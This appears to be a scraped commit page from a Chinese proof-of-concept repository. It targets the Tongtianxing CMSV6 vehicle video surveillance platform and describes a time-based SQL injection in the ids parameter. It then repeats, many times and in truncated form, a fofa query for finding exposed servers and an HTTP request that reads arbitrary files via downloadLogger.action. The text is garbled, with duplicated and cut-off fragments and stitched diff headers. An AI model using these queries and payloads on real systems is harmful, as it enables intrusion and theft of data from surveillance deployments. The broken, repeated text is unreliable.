通天星CMSV6车载视频监控平台存在一个SQL注入漏洞。攻击者可以通过在特定的GET请求中注入恶意SQL代码,利用该漏洞对数据库执行任意SQL操作。漏洞存在于/edu_security_officer/disable;downloadLogger.action接口,攻击者可以在ids参数中注入SQL语句,导致数据库执行时间延迟,从而确认SQL注入的成功。此漏洞可能导致数据库中的敏感...
18 changes: 18 additions & 0 deletions 18 通天星CMSV6车载视频监控平台downloadLogger接口任意文件读取漏洞.md Original file line numberDiff line numberDiff line change @@ -0,0 +1,18 @@ ## 通天星CMSV6车载视频监控平台downloadLogger接口任意文件读取漏洞 ## fofa ``` body="./open/webApi.html"||...
## 通天星CMSV6车载视频监控平台downloadLogger接口任意文件读取漏洞 ## fofa ``` body="./open/webApi.html"||body="/808gps/" ``` ## poc ``` GET /808gps/logger/downloadLogger.action?fileName=C://Windows//win.ini HTTP/1.1 Host:127.0.0.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Wi...
## 通天星CMSV6车载视频监控平台downloadLogger接口任意文件读取漏洞 ## fofa ``` body="./open/webApi.html"||body="/808gps/" ``` ## poc ``` GET /808gps/logger/downloadLogger.action?fileName=C://Windows//win.ini HTTP/1.1 Host:127.0.0.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Wi...
18 changes: 18 additions & 0 deletions 18 通天星CMSV6车载视频监控平台downloadLogger接口任意文件读取漏洞.md Original file line numberDiff line numberDiff line change @@ -0,0 +1,18 @@ ## 通天星CMSV6车载视频监控平台downloadLogger接口任意文件读取漏洞 ## fofa ``` body="./open/webApi.html"||...
## 通天星CMSV6车载视频监控平台downloadLogger接口任意文件读取漏洞 ## fofa ``` body="./open/webApi.html"||body="/808gps/" ``` ## poc ``` GET /808gps/logger/downloadLogger.action?fileName=C://Windows//win.ini HTTP/1.1 Host:127.0.0.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Wi...
## 通天星CMSV6车载视频监控平台downloadLogger接口任意文件读取漏洞 ## fofa ``` body="./open/webApi.html"||body="/808gps/" ``` ## poc ``` GET /808gps/logger/downloadLogger.action?fileName=C://Windows//win.ini HTTP/1.1 Host:127.0.0.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Wi...
18 changes: 18 additions & 0 deletions18通天星CMSV6车载视频监控平台downloadLogger接口任意文件读取漏洞.md Original file line numberDiff line numberDiff line change @@ -0,0 +1,18 @@ ##通天星CMSV6车载视频监控平台downloadLogger接口任意文件读取漏洞 ...
18 changes: 18 additions & 0 deletions 18 通天星CMSV6车载视频监控平台downloadLogger接口任意文件读取漏洞.md Original file line numberDiff line numberDiff line change @@ -0,0 +1,18 @@ ## 通天星CMSV6车载视频监控平台downloadLogger接口任意文件读取漏洞 ## fofa ``` body="./open/webApi.html"||...
##通天星CMSV6车载视频监控平台downloadLogger接口任意文件读取漏洞 ##fofa ``` body="./open/webApi.html"||body="/808gps/" ``` ##poc ``` GET /808gps/logger/downloadLogger.action?fileName=C://Windows//win.ini HTTP/1.1 Host:127.0.0.1 ...